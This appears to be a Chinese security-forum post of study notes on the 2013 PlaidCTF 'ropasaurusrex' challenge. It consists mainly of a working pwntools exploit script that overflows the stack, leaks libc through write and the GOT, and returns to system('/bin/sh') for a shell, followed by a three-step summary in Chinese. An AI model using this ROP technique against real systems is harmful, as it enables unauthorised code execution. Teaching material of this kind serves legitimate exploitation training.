首页
社区
课程
招聘
[原创]PWN学习笔记【基本ROP练习】【2013-PlaidCTF-ropasaurusrex】
2022-5-27 16:23 6986

[原创]PWN学习笔记【基本ROP练习】【2013-PlaidCTF-ropasaurusrex】

2022-5-27 16:23
6986
#!/usr/local/bin/python3
from pwn import *
from LibcSearcher import LibcSearcher
sh = gdb.debug('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d', "b *0x804841D")

elf = ELF('./ropasaurusrex-85a84f36f81e11f720b1cf5ea0d1fb0d5a603c0d')

write_plt = elf.plt['write']
read_got = elf.got['read']
sub_80483F4 = 0x80483F4

payload = flat([
    'A' * 136, 
    0xdeadbeef, 
    write_plt, 
    sub_80483F4, 
    1,
    read_got, 
    4,
    'B'*96
    ])
sh.send(payload)

print ("get the read addr")
libc_read_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('read', libc_read_addr)
libcbase = libc_read_addr - libc.dump('read')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print ("get shell") 
payload = flat([
    'C' * 136, 
    0xdeadbeef, 
    system_addr, 
    0xdeadbeef, 
    binsh_addr,
    'D'*104
    ])
sh.send(payload)

sh.interactive()


  1. 通过write(1,got['read'],4)泄露read函数地址

  2. LibcSearcher 查找libc版本,并计算system和str_bin_sh地址

  3. 重复调用sub_80483F4函数,溢出返回到system("/bin/sh")


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回